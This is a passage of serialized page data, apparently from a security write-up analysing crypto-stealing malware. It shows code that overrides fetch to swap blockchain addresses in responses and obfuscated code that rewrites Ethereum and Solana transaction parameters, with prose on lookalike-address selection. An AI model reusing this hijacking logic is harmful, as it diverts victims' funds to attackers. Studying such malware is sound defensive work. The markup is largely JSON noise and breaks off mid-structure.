children":67082},{"style":7054},[67083],{"type":32,"value":67084},"      rund",{"type":26,"tag":217,"props":67086,"children":67087},{"style":7149},[67088],{"type":32,"value":8993},{"type":26,"tag":217,"props":67090,"children":67091},{"style":7130},[67092],{"type":32,"value":9742},{"type":26,"tag":217,"props":67094,"children":67095},{"style":7048},[67096],{"type":32,"value":7162},{"type":26,"tag":217,"props":67098,"children":67099},{"class":7028,"line":7672},[67100,67105],{"type":26,"tag":217,"props":67101,"children":67102},{"style":7064},[67103],{"type":32,"value":67104},"      newdlocal",{"type":26,"tag":217,"props":67106,"children":67107},{"style":7048},[67108],{"type":32,"value":8217},{"type":26,"tag":217,"props":67110,"children":67111},{"class":7028,"line":7681},[67112],{"type":26,"tag":217,"props":67113,"children":67114},{"style":7048},[67115],{"type":32,"value":9754},{"type":26,"tag":217,"props":67117,"children":67118},{"class":7028,"line":7754},[67119],{"type":26,"tag":217,"props":67120,"children":67121},{"style":7048},[67122],{"type":32,"value":16086},{"type":26,"tag":217,"props":67124,"children":67125},{"class":7028,"line":7784},[67126],{"type":26,"tag":217,"props":67127,"children":67128},{"style":7048},[67129],{"type":32,"value":7184},{"type":26,"tag":6712,"props":67131,"children":67132},{"start":6770},[67133],{"type":26,"tag":2044,"props":67134,"children":67135},{},[67136],{"type":32,"value":67137},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":26,"tag":207,"props":67139,"children":67141},{"code":67140,"language":24580,"meta":8,"className":24581,"style":8},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[67142],{"type":26,"tag":83,"props":67143,"children":67144},{"__ignoreMap":8},[67145,67182,67239,67303,67318,67356,67397,67413,67452,67459,67492,67509,67570,67608,67633,67658,67682,67689,67705],{"type":26,"tag":217,"props":67146,"children":67147},{"class":7028,"line":7029},[67148,67153,67157,67162,67166,67170,67174,67178],{"type":26,"tag":217,"props":67149,"children":67150},{"style":7064},[67151],{"type":32,"value":67152},"fetch",{"type":26,"tag":217,"props":67154,"children":67155},{"style":7149},[67156],{"type":32,"value":8993},{"type":26,"tag":217,"props":67158,"children":67159},{"style":7154},[67160],{"type":32,"value":67161}," async",{"type":26,"tag":217,"props":67163,"children":67164},{"style":7154},[67165],{"type":32,"value":7831},{"type":26,"tag":217,"props":67167,"children":67168},{"style":7048},[67169],{"type":32,"value":7051},{"type":26,"tag":217,"props":67171,"children":67172},{"style":7149},[67173],{"type":32,"value":13251},{"type":26,"tag":217,"props":67175,"children":67176},{"style":7054},[67177],{"type":32,"value":25454},{"type":26,"tag":217,"props":67179,"children":67180},{"style":7048},[67181],{"type":32,"value":7618},{"type":26,"tag":217,"props":67183,"children":67184},{"class":7028,"line":6770},[67185,67189,67194,67198,67202,67207,67211,67215,67219,67223,67227,67231,67235],{"type":26,"tag":217,"props":67186,"children":67187},{"style":7154},[67188],{"type":32,"value":26650},{"type":26,"tag":217,"props":67190,"children":67191},{"style":7054},[67192],{"type":32,"value":67193}," originalResponse",{"type":26,"tag":217,"props":67195,"children":67196},{"style":7149},[67197],{"type":32,"value":8993},{"type":26,"tag":217,"props":67199,"children":67200},{"style":7042},[67201],{"type":32,"value":13803},{"type":26,"tag":217,"props":67203,"children":67204},{"style":7054},[67205],{"type":32,"value":67206}," originalFetch",{"type":26,"tag":217,"props":67208,"children":67209},{"style":7048},[67210],{"type":32,"value":180},{"type":26,"tag":217,"props":67212,"children":67213},{"style":7064},[67214],{"type":32,"value":59057},{"type":26,"tag":217,"props":67216,"children":67217},{"style":7048},[67218],{"type":32,"value":1851},{"type":26,"tag":217,"props":67220,"children":67221},{"style":7154},[67222],{"type":32,"value":17968},{"type":26,"tag":217,"props":67224,"children":67225},{"style":7048},[67226],{"type":32,"value":7599},{"type":26,"tag":217,"props":67228,"children":67229},{"style":7149},[67230],{"type":32,"value":13251},{"type":26,"tag":217,"props":67232,"children":67233},{"style":7054},[67234],{"type":32,"value":25454},{"type":26,"tag":217,"props":67236,"children":67237},{"style":7048},[67238],{"type":32,"value":7669},{"type":26,"tag":217,"props":67240,"children":67241},{"class":7028,"line":6779},[67242,67246,67251,67255,67259,67263,67268,67272,67277,67281,67286,67290,67294,67299],{"type":26,"tag":217,"props":67243,"children":67244},{"style":7154},[67245],{"type":32,"value":26650},{"type":26,"tag":217,"props":67247,"children":67248},{"style":7054},[67249],{"type":32,"value":67250}," contentType",{"type":26,"tag":217,"props":67252,"children":67253},{"style":7149},[67254],{"type":32,"value":8993},{"type":26,"tag":217,"props":67256,"children":67257},{"style":7054},[67258],{"type":32,"value":67193},{"type":26,"tag":217,"props":67260,"children":67261},{"style":7048},[67262],{"type":32,"value":180},{"type":26,"tag":217,"props":67264,"children":67265},{"style":7054},[67266],{"type":32,"value":67267},"headers",{"type":26,"tag":217,"props":67269,"children":67270},{"style":7048},[67271],{"type":32,"value":180},{"type":26,"tag":217,"props":67273,"children":67274},{"style":7064},[67275],{"type":32,"value":67276},"get",{"type":26,"tag":217,"props":67278,"children":67279},{"style":7048},[67280],{"type":32,"value":1851},{"type":26,"tag":217,"props":67282,"children":67283},{"style":7338},[67284],{"type":32,"value":67285},"'Content-Type'",{"type":26,"tag":217,"props":67287,"children":67288},{"style":7048},[67289],{"type":32,"value":8380},{"type":26,"tag":217,"props":67291,"children":67292},{"style":7149},[67293],{"type":32,"value":14802},{"type":26,"tag":217,"props":67295,"children":67296},{"style":7338},[67297],{"type":32,"value":67298}," ''",{"type":26,"tag":217,"props":67300,"children":67301},{"style":7048},[67302],{"type":32,"value":7162},{"type":26,"tag":217,"props":67304,"children":67305},{"class":7028,"line":7140},[67306,67310,67314],{"type":26,"tag":217,"props":67307,"children":67308},{"style":7154},[67309],{"type":32,"value":24787},{"type":26,"tag":217,"props":67311,"children":67312},{"style":7054},[67313],{"type":32,"value":35391},{"type":26,"tag":217,"props":67315,"children":67316},{"style":7048},[67317],{"type":32,"value":7162},{"type":26,"tag":217,"props":67319,"children":67320},{"class":7028,"line":7165},[67321,67325,67329,67334,67338,67343,67347,67352],{"type":26,"tag":217,"props":67322,"children":67323},{"style":7042},[67324],{"type":32,"value":37312},{"type":26,"tag":217,"props":67326,"children":67327},{"style":7048},[67328],{"type":32,"value":7051},{"type":26,"tag":217,"props":67330,"children":67331},{"style":7054},[67332],{"type":32,"value":67333},"contentType",{"type":26,"tag":217,"props":67335,"children":67336},{"style":7048},[67337],{"type":32,"value":180},{"type":26,"tag":217,"props":67339,"children":67340},{"style":7064},[67341],{"type":32,"value":67342},"includes",{"type":26,"tag":217,"props":67344,"children":67345},{"style":7048},[67346],{"type":32,"value":1851},{"type":26,"tag":217,"props":67348,"children":67349},{"style":7338},[67350],{"type":32,"value":67351},"'application/json'",{"type":26,"tag":217,"props":67353,"children":67354},{"style":7048},[67355],{"type":32,"value":33209},{"type":26,"tag":217,"props":67357,"children":67358},{"class":7028,"line":7178},[67359,67364,67368,67372,67376,67380,67385,67389,67393],{"type":26,"tag":217,"props":67360,"children":67361},{"style":7054},[67362],{"type":32,"value":67363},"    data",{"type":26,"tag":217,"props":67365,"children":67366},{"style":7149},[67367],{"type":32,"value":8993},{"type":26,"tag":217,"props":67369,"children":67370},{"style":7042},[67371],{"type":32,"value":13803},{"type":26,"tag":217,"props":67373,"children":67374},{"style":7054},[67375],{"type":32,"value":67193},{"type":26,"tag":217,"props":67377,"children":67378},{"style":7048},[67379],{"type":32,"value":180},{"type":26,"tag":217,"props":67381,"children":67382},{"style":7064},[67383],{"type":32,"value":67384},"clone",{"type":26,"tag":217,"props":67386,"children":67387},{"style":7048},[67388],{"type":32,"value":8312},{"type":26,"tag":217,"props":67390,"children":67391},{"style":7064},[67392],{"type":32,"value":15848},{"type":26,"tag":217,"props":67394,"children":67395},{"style":7048},[67396],{"type":32,"value":8217},{"type":26,"tag":217,"props":67398,"children":67399},{"class":7028,"line":7389},[67400,67405,67409],{"type":26,"tag":217,"props":67401,"children":67402},{"style":7048},[67403],{"type":32,"value":67404},"  } ",{"type":26,"tag":217,"props":67406,"children":67407},{"style":7042},[67408],{"type":32,"value":40852},{"type":26,"tag":217,"props":67410,"children":67411},{"style":7048},[67412],{"type":32,"value":8064},{"type":26,"tag":217,"props":67414,"children":67415},{"class":7028,"line":7406},[67416,67420,67424,67428,67432,67436,67440,67444,67448],{"type":26,"tag":217,"props":67417,"children":67418},{"style":7054},[67419],{"type":32,"value":67363},{"type":26,"tag":217,"props":67421,"children":67422},{"style":7149},[67423],{"type":32,"value":8993},{"type":26,"tag":217,"props":67425,"children":67426},{"style":7042},[67427],{"type":32,"value":13803},{"type":26,"tag":217,"props":67429,"children":67430},{"style":7054},[67431],{"type":32,"value":67193},{"type":26,"tag":217,"props":67433,"children":67434},{"style":7048},[67435],{"type":32,"value":180},{"type":26,"tag":217,"props":67437,"children":67438},{"style":7064},[67439],{"type":32,"value":67384},{"type":26,"tag":217,"props":67441,"children":67442},{"style":7048},[67443],{"type":32,"value":8312},{"type":26,"tag":217,"props":67445,"children":67446},{"style":7064},[67447],{"type":32,"value":32},{"type":26,"tag":217,"props":67449,"children":67450},{"style":7048},[67451],{"type":32,"value":8217},{"type":26,"tag":217,"props":67453,"children":67454},{"class":7028,"line":7439},[67455],{"type":26,"tag":217,"props":67456,"children":67457},{"style":7048},[67458],{"type":32,"value":16086},{"type":26,"tag":217,"props":67460,"children":67461},{"class":7028,"line":7487},[67462,67466,67471,67475,67480,67484,67488],{"type":26,"tag":217,"props":67463,"children":67464},{"style":7154},[67465],{"type":32,"value":26650},{"type":26,"tag":217,"props":67467,"children":67468},{"style":7054},[67469],{"type":32,"value":67470}," processedData",{"type":26,"tag":217,"props":67472,"children":67473},{"style":7149},[67474],{"type":32,"value":8993},{"type":26,"tag":217,"props":67476,"children":67477},{"style":7064},[67478],{"type":32,"value":67479}," replaceAddresses",{"type":26,"tag":217,"props":67481,"children":67482},{"style":7048},[67483],{"type":32,"value":1851},{"type":26,"tag":217,"props":67485,"children":67486},{"style":7054},[67487],{"type":32,"value":33715},{"type":26,"tag":217,"props":67489,"children":67490},{"style":7048},[67491],{"type":32,"value":7669},{"type":26,"tag":217,"props":67493,"children":67494},{"class":7028,"line":7524},[67495,67499,67504],{"type":26,"tag":217,"props":67496,"children":67497},{"style":7154},[67498],{"type":32,"value":26650},{"type":26,"tag":217,"props":67500,"children":67501},{"style":7054},[67502],{"type":32,"value":67503}," finalResponseText",{"type":26,"tag":217,"props":67505,"children":67506},{"style":7149},[67507],{"type":32,"value":67508}," =\n",{"type":26,"tag":217,"props":67510,"children":67511},{"class":7028,"line":7553},[67512,67517,67521,67526,67531,67535,67539,67543,67548,67552,67557,67561,67566],{"type":26,"tag":217,"props":67513,"children":67514},{"style":7154},[67515],{"type":32,"value":67516},"    typeof",{"type":26,"tag":217,"props":67518,"children":67519},{"style":7054},[67520],{"type":32,"value":67470},{"type":26,"tag":217,"props":67522,"children":67523},{"style":7149},[67524],{"type":32,"value":67525}," ===",{"type":26,"tag":217,"props":67527,"children":67528},{"style":7338},[67529],{"type":32,"value":67530}," 'string'",{"type":26,"tag":217,"props":67532,"children":67533},{"style":7149},[67534],{"type":32,"value":9115},{"type":26,"tag":217,"props":67536,"children":67537},{"style":7054},[67538],{"type":32,"value":67470},{"type":26,"tag":217,"props":67540,"children":67541},{"style":7149},[67542],{"type":32,"value":9124},{"type":26,"tag":217,"props":67544,"children":67545},{"style":7054},[67546],{"type":32,"value":67547}," JSON",{"type":26,"tag":217,"props":67549,"children":67550},{"style":7048},[67551],{"type":32,"value":180},{"type":26,"tag":217,"props":67553,"children":67554},{"style":7064},[67555],{"type":32,"value":67556},"stringify",{"type":26,"tag":217,"props":67558,"children":67559},{"style":7048},[67560],{"type":32,"value":1851},{"type":26,"tag":217,"props":67562,"children":67563},{"style":7054},[67564],{"type":32,"value":67565},"processedData",{"type":26,"tag":217,"props":67567,"children":67568},{"style":7048},[67569],{"type":32,"value":7669},{"type":26,"tag":217,"props":67571,"children":67572},{"class":7028,"line":7570},[67573,67577,67582,67586,67590,67595,67599,67604],{"type":26,"tag":217,"props":67574,"children":67575},{"style":7154},[67576],{"type":32,"value":26650},{"type":26,"tag":217,"props":67578,"children":67579},{"style":7054},[67580],{"type":32,"value":67581}," finalResponse",{"type":26,"tag":217,"props":67583,"children":67584},{"style":7149},[67585],{"type":32,"value":8993},{"type":26,"tag":217,"props":67587,"children":67588},{"style":7154},[67589],{"type":32,"value":25931},{"type":26,"tag":217,"props":67591,"children":67592},{"style":7064},[67593],{"type":32,"value":67594}," Response",{"type":26,"tag":217,"props":67596,"children":67597},{"style":7048},[67598],{"type":32,"value":1851},{"type":26,"tag":217,"props":67600,"children":67601},{"style":7054},[67602],{"type":32,"value":67603},"finalResponseText",{"type":26,"tag":217,"props":67605,"children":67606},{"style":7048},[67607],{"type":32,"value":13386},{"type":26,"tag":217,"props":67609,"children":67610},{"class":7028,"line":7621},[67611,67616,67620,67624,67629],{"type":26,"tag":217,"props":67612,"children":67613},{"style":7054},[67614],{"type":32,"value":67615},"    status:",{"type":26,"tag":217,"props":67617,"children":67618},{"style":7054},[67619],{"type":32,"value":67193},{"type":26,"tag":217,"props":67621,"children":67622},{"style":7048},[67623],{"type":32,"value":180},{"type":26,"tag":217,"props":67625,"children":67626},{"style":7054},[67627],{"type":32,"value":67628},"status",{"type":26,"tag":217,"props":67630,"children":67631},{"style":7048},[67632],{"type":32,"value":10953},{"type":26,"tag":217,"props":67634,"children":67635},{"class":7028,"line":7672},[67636,67641,67645,67649,67654],{"type":26,"tag":217,"props":67637,"children":67638},{"style":7054},[67639],{"type":32,"value":67640},"    statusText:",{"type":26,"tag":217,"props":67642,"children":67643},{"style":7054},[67644],{"type":32,"value":67193},{"type":26,"tag":217,"props":67646,"children":67647},{"style":7048},[67648],{"type":32,"value":180},{"type":26,"tag":217,"props":67650,"children":67651},{"style":7054},[67652],{"type":32,"value":67653},"statusText",{"type":26,"tag":217,"props":67655,"children":67656},{"style":7048},[67657],{"type":32,"value":10953},{"type":26,"tag":217,"props":67659,"children":67660},{"class":7028,"line":7681},[67661,67666,67670,67674,67678],{"type":26,"tag":217,"props":67662,"children":67663},{"style":7054},[67664],{"type":32,"value":67665},"    headers:",{"type":26,"tag":217,"props":67667,"children":67668},{"style":7054},[67669],{"type":32,"value":67193},{"type":26,"tag":217,"props":67671,"children":67672},{"style":7048},[67673],{"type":32,"value":180},{"type":26,"tag":217,"props":67675,"children":67676},{"style":7054},[67677],{"type":32,"value":67267},{"type":26,"tag":217,"props":67679,"children":67680},{"style":7048},[67681],{"type":32,"value":10953},{"type":26,"tag":217,"props":67683,"children":67684},{"class":7028,"line":7754},[67685],{"type":26,"tag":217,"props":67686,"children":67687},{"style":7048},[67688],{"type":32,"value":66631},{"type":26,"tag":217,"props":67690,"children":67691},{"class":7028,"line":7784},[67692,67697,67701],{"type":26,"tag":217,"props":67693,"children":67694},{"style":7042},[67695],{"type":32,"value":67696},"  return",{"type":26,"tag":217,"props":67698,"children":67699},{"style":7054},[67700],{"type":32,"value":67581},{"type":26,"tag":217,"props":67702,"children":67703},{"style":7048},[67704],{"type":32,"value":7162},{"type":26,"tag":217,"props":67706,"children":67707},{"class":7028,"line":7802},[67708],{"type":26,"tag":217,"props":67709,"children":67710},{"style":7048},[67711],{"type":32,"value":12331},{"type":26,"tag":6712,"props":67713,"children":67714},{"start":6779},[67715],{"type":26,"tag":2044,"props":67716,"children":67717},{},[67718],{"type":32,"value":67719},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":26,"tag":207,"props":67721,"children":67723},{"code":67722,"language":24580,"meta":8,"className":24581,"style":8},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[67724],{"type":26,"tag":83,"props":67725,"children":67726},{"__ignoreMap":8},[67727,67807,67818,67875,67915,67940,67955,67967,68001,68035,68055,68082,68090,68102,68143,68172,68200,68207,68248,68292,68336,68352,68391,68398,68422,68429],{"type":26,"tag":217,"props":67728,"children":67729},{"class":7028,"line":7029},[67730,67734,67738,67743,67747,67752,67756,67761,67765,67770,67774,67778,67782,67786,67790,67794,67798,67802],{"type":26,"tag":217,"props":67731,"children":67732},{"style":7042},[67733],{"type":32,"value":7045},{"type":26,"tag":217,"props":67735,"children":67736},{"style":7048},[67737],{"type":32,"value":7051},{"type":26,"tag":217,"props":67739,"children":67740},{"style":7054},[67741],{"type":32,"value":67742},"_0x2c3d7e",{"type":26,"tag":217,"props":67744,"children":67745},{"style":7048},[67746],{"type":32,"value":180},{"type":26,"tag":217,"props":67748,"children":67749},{"style":7054},[67750],{"type":32,"value":67751},"method",{"type":26,"tag":217,"props":67753,"children":67754},{"style":7149},[67755],{"type":32,"value":67525},{"type":26,"tag":217,"props":67757,"children":67758},{"style":7338},[67759],{"type":32,"value":67760}," 'eth_sendTransaction'",{"type":26,"tag":217,"props":67762,"children":67763},{"style":7149},[67764],{"type":32,"value":38514},{"type":26,"tag":217,"props":67766,"children":67767},{"style":7054},[67768],{"type":32,"value":67769}," _0x2c3d7e",{"type":26,"tag":217,"props":67771,"children":67772},{"style":7048},[67773],{"type":32,"value":180},{"type":26,"tag":217,"props":67775,"children":67776},{"style":7054},[67777],{"type":32,"value":36051},{"type":26,"tag":217,"props":67779,"children":67780},{"style":7149},[67781],{"type":32,"value":38514},{"type":26,"tag":217,"props":67783,"children":67784},{"style":7054},[67785],{"type":32,"value":67769},{"type":26,"tag":217,"props":67787,"children":67788},{"style":7048},[67789],{"type":32,"value":180},{"type":26,"tag":217,"props":67791,"children":67792},{"style":7054},[67793],{"type":32,"value":36051},{"type":26,"tag":217,"props":67795,"children":67796},{"style":7048},[67797],{"type":32,"value":7127},{"type":26,"tag":217,"props":67799,"children":67800},{"style":7130},[67801],{"type":32,"value":1883},{"type":26,"tag":217,"props":67803,"children":67804},{"style":7048},[67805],{"type":32,"value":67806},"]) {\n",{"type":26,"tag":217,"props":67808,"children":67809},{"class":7028,"line":6770},[67810,67814],{"type":26,"tag":217,"props":67811,"children":67812},{"style":7042},[67813],{"type":32,"value":66827},{"type":26,"tag":217,"props":67815,"children":67816},{"style":7048},[67817],{"type":32,"value":8064},{"type":26,"tag":217,"props":67819,"children":67820},{"class":7028,"line":6779},[67821,67825,67830,67834,67839,67843,67847,67851,67855,67859,67863,67867,67871],{"type":26,"tag":217,"props":67822,"children":67823},{"style":7154},[67824],{"type":32,"value":66839},{"type":26,"tag":217,"props":67826,"children":67827},{"style":7054},[67828],{"type":32,"value":67829}," _0x39ad21",{"type":26,"tag":217,"props":67831,"children":67832},{"style":7149},[67833],{"type":32,"value":8993},{"type":26,"tag":217,"props":67835,"children":67836},{"style":7064},[67837],{"type":32,"value":67838}," _0x1089ae",{"type":26,"tag":217,"props":67840,"children":67841},{"style":7048},[67842],{"type":32,"value":1851},{"type":26,"tag":217,"props":67844,"children":67845},{"style":7054},[67846],{"type":32,"value":67742},{"type":26,"tag":217,"props":67848,"children":67849},{"style":7048},[67850],{"type":32,"value":180},{"type":26,"tag":217,"props":67852,"children":67853},{"style":7054},[67854],{"type":32,"value":36051},{"type":26,"tag":217,"props":67856,"children":67857},{"style":7048},[67858],{"type":32,"value":7127},{"type":26,"tag":217,"props":67860,"children":67861},{"style":7130},[67862],{"type":32,"value":1883},{"type":26,"tag":217,"props":67864,"children":67865},{"style":7048},[67866],{"type":32,"value":9799},{"type":26,"tag":217,"props":67868,"children":67869},{"style":7154},[67870],{"type":32,"value":231},{"type":26,"tag":217,"props":67872,"children":67873},{"style":7048},[67874],{"type":32,"value":7669},{"type":26,"tag":217,"props":67876,"children":67877},{"class":7028,"line":7140},[67878,67883,67887,67891,67895,67899,67903,67907,67911],{"type":26,"tag":217,"props":67879,"children":67880},{"style":7054},[67881],{"type":32,"value":67882},"    _0x2c3d7e",{"type":26,"tag":217,"props":67884,"children":67885},{"style":7048},[67886],{"type":32,"value":180},{"type":26,"tag":217,"props":67888,"children":67889},{"style":7054},[67890],{"type":32,"value":36051},{"type":26,"tag":217,"props":67892,"children":67893},{"style":7048},[67894],{"type":32,"value":7127},{"type":26,"tag":217,"props":67896,"children":67897},{"style":7130},[67898],{"type":32,"value":1883},{"type":26,"tag":217,"props":67900,"children":67901},{"style":7048},[67902],{"type":32,"value":10276},{"type":26,"tag":217,"props":67904,"children":67905},{"style":7149},[67906],{"type":32,"value":267},{"type":26,"tag":217,"props":67908,"children":67909},{"style":7054},[67910],{"type":32,"value":67829},{"type":26,"tag":217,"props":67912,"children":67913},{"style":7048},[67914],{"type":32,"value":7162},{"type":26,"tag":217,"props":67916,"children":67917},{"class":7028,"line":7165},[67918,67922,67926,67930,67935],{"type":26,"tag":217,"props":67919,"children":67920},{"style":7048},[67921],{"type":32,"value":67404},{"type":26,"tag":217,"props":67923,"children":67924},{"style":7042},[67925],{"type":32,"value":24775},{"type":26,"tag":217,"props":67927,"children":67928},{"style":7048},[67929],{"type":32,"value":7051},{"type":26,"tag":217,"props":67931,"children":67932},{"style":7054},[67933],{"type":32,"value":67934},"_0x226343",{"type":26,"tag":217,"props":67936,"children":67937},{"style":7048},[67938],{"type":32,"value":67939},") {}\n",{"type":26,"tag":217,"props":67941,"children":67942},{"class":7028,"line":7178},[67943,67947,67951],{"type":26,"tag":217,"props":67944,"children":67945},{"style":7048},[67946],{"type":32,"value":24770},{"type":26,"tag":217,"props":67948,"children":67949},{"style":7042},[67950],{"type":32,"value":40852},{"type":26,"tag":217,"props":67952,"children":67953},{"style":7048},[67954],{"type":32,"value":8064},{"type":26,"tag":217,"props":67956,"children":67957},{"class":7028,"line":7389},[67958,67962],{"type":26,"tag":217,"props":67959,"children":67960},{"style":7042},[67961],{"type":32,"value":37312},{"type":26,"tag":217,"props":67963,"children":67964},{"style":7048},[67965],{"type":32,"value":67966}," (\n",{"type":26,"tag":217,"props":67968,"children":67969},{"class":7028,"line":7406},[67970,67975,67979,67983,67987,67991,67996],{"type":26,"tag":217,"props":67971,"children":67972},{"style":7048},[67973],{"type":32,"value":67974},"    (",{"type":26,"tag":217,"props":67976,"children":67977},{"style":7054},[67978],{"type":32,"value":67742},{"type":26,"tag":217,"props":67980,"children":67981},{"style":7048},[67982],{"type":32,"value":180},{"type":26,"tag":217,"props":67984,"children":67985},{"style":7054},[67986],{"type":32,"value":67751},{"type":26,"tag":217,"props":67988,"children":67989},{"style":7149},[67990],{"type":32,"value":67525},{"type":26,"tag":217,"props":67992,"children":67993},{"style":7338},[67994],{"type":32,"value":67995}," 'solana_signTransaction'",{"type":26,"tag":217,"props":67997,"children":67998},{"style":7149},[67999],{"type":32,"value":68000}," ||\n",{"type":26,"tag":217,"props":68002,"children":68003},{"class":7028,"line":7439},[68004,68009,68013,68017,68021,68026,68030],{"type":26,"tag":217,"props":68005,"children":68006},{"style":7054},[68007],{"type":32,"value":68008},"      _0x2c3d7e",{"type":26,"tag":217,"props":68010,"children":68011},{"style":7048},[68012],{"type":32,"value":180},{"type":26,"tag":217,"props":68014,"children":68015},{"style":7054},[68016],{"type":32,"value":67751},{"type":26,"tag":217,"props":68018,"children":68019},{"style":7149},[68020],{"type":32,"value":67525},{"type":26,"tag":217,"props":68022,"children":68023},{"style":7338},[68024],{"type":32,"value":68025}," 'solana_signAndSendTransaction'",{"type":26,"tag":217,"props":68027,"children":68028},{"style":7048},[68029],{"type":32,"value":8380},{"type":26,"tag":217,"props":68031,"children":68032},{"style":7149},[68033],{"type":32,"value":68034},"&&\n",{"type":26,"tag":217,"props":68036,"children":68037},{"class":7028,"line":7487},[68038,68042,68046,68050],{"type":26,"tag":217,"props":68039,"children":68040},{"style":7054},[68041],{"type":32,"value":67882},{"type":26,"tag":217,"props":68043,"children":68044},{"style":7048},[68045],{"type":32,"value":180},{"type":26,"tag":217,"props":68047,"children":68048},{"style":7054},[68049],{"type":32,"value":36051},{"type":26,"tag":217,"props":68051,"children":68052},{"style":7149},[68053],{"type":32,"value":68054}," &&\n",{"type":26,"tag":217,"props":68056,"children":68057},{"class":7028,"line":7524},[68058,68062,68066,68070,68074,68078],{"type":26,"tag":217,"props":68059,"children":68060},{"style":7054},[68061],{"type":32,"value":67882},{"type":26,"tag":217,"props":68063,"children":68064},{"style":7048},[68065],{"type":32,"value":180},{"type":26,"tag":217,"props":68067,"children":68068},{"style":7054},[68069],{"type":32,"value":36051},{"type":26,"tag":217,"props":68071,"children":68072},{"style":7048},[68073],{"type":32,"value":7127},{"type":26,"tag":217,"props":68075,"children":68076},{"style":7130},[68077],{"type":32,"value":1883},{"type":26,"tag":217,"props":68079,"children":68080},{"style":7048},[68081],{"type":32,"value":13256},{"type":26,"tag":217,"props":68083,"children":68084},{"class":7028,"line":7553},[68085],{"type":26,"tag":217,"props":68086,"children":68087},{"style":7048},[68088],{"type":32,"value":68089},"  ) {\n",{"type":26,"tag":217,"props":68091,"children":68092},{"class":7028,"line":7570},[68093,68098],{"type":26,"tag":217,"props":68094,"children":68095},{"style":7042},[68096],{"type":32,"value":68097},"    try",{"type":26,"tag":217,"props":68099,"children":68100},{"style":7048},[68101],{"type":32,"value":8064},{"type":26,"tag":217,"props":68103,"children":68104},{"class":7028,"line":7621},[68105,68110,68115,68119,68123,68127,68131,68135,68139],{"type":26,"tag":217,"props":68106,"children":68107},{"style":7154},[68108],{"type":32,"value":68109},"      let",{"type":26,"tag":217,"props":68111,"children":68112},{"style":7054},[68113],{"type":32,"value":68114}," _0x5ad975",{"type":26,"tag":217,"props":68116,"children":68117},{"style":7149},[68118],{"type":32,"value":8993},{"type":26,"tag":217,"props":68120,"children":68121},{"style":7054},[68122],{"type":32,"value":67769},{"type":26,"tag":217,"props":68124,"children":68125},{"style":7048},[68126],{"type":32,"value":180},{"type":26,"tag":217,"props":68128,"children":68129},{"style":7054},[68130],{"type":32,"value":36051},{"type":26,"tag":217,"props":68132,"children":68133},{"style":7048},[68134],{"type":32,"value":7127},{"type":26,"tag":217,"props":68136,"children":68137},{"style":7130},[68138],{"type":32,"value":1883},{"type":26,"tag":217,"props":68140,"children":68141},{"style":7048},[68142],{"type":32,"value":10652},{"type":26,"tag":217,"props":68144,"children":68145},{"class":7028,"line":7672},[68146,68150,68154,68159,68163,68168],{"type":26,"tag":217,"props":68147,"children":68148},{"style":7042},[68149],{"type":32,"value":8953},{"type":26,"tag":217,"props":68151,"children":68152},{"style":7048},[68153],{"type":32,"value":7051},{"type":26,"tag":217,"props":68155,"children":68156},{"style":7054},[68157],{"type":32,"value":68158},"_0x5ad975",{"type":26,"tag":217,"props":68160,"children":68161},{"style":7048},[68162],{"type":32,"value":180},{"type":26,"tag":217,"props":68164,"children":68165},{"style":7054},[68166],{"type":32,"value":68167},"transaction",{"type":26,"tag":217,"props":68169,"children":68170},{"style":7048},[68171],{"type":32,"value":7618},{"type":26,"tag":217,"props":68173,"children":68174},{"class":7028,"line":7681},[68175,68180,68184,68188,68192,68196],{"type":26,"tag":217,"props":68176,"children":68177},{"style":7054},[68178],{"type":32,"value":68179},"        _0x5ad975",{"type":26,"tag":217,"props":68181,"children":68182},{"style":7149},[68183],{"type":32,"value":8993},{"type":26,"tag":217,"props":68185,"children":68186},{"style":7054},[68187],{"type":32,"value":68114},{"type":26,"tag":217,"props":68189,"children":68190},{"style":7048},[68191],{"type":32,"value":180},{"type":26,"tag":217,"props":68193,"children":68194},{"style":7054},[68195],{"type":32,"value":68167},{"type":26,"tag":217,"props":68197,"children":68198},{"style":7048},[68199],{"type":32,"value":7162},{"type":26,"tag":217,"props":68201,"children":68202},{"class":7028,"line":7754},[68203],{"type":26,"tag":217,"props":68204,"children":68205},{"style":7048},[68206],{"type":32,"value":9210},{"type":26,"tag":217,"props":68208,"children":68209},{"class":7028,"line":7784},[68210,68215,68220,68224,68228,68232,68236,68240,68244],{"type":26,"tag":217,"props":68211,"children":68212},{"style":7154},[68213],{"type":32,"value":68214},"      const",{"type":26,"tag":217,"props":68216,"children":68217},{"style":7054},[68218],{"type":32,"value":68219}," 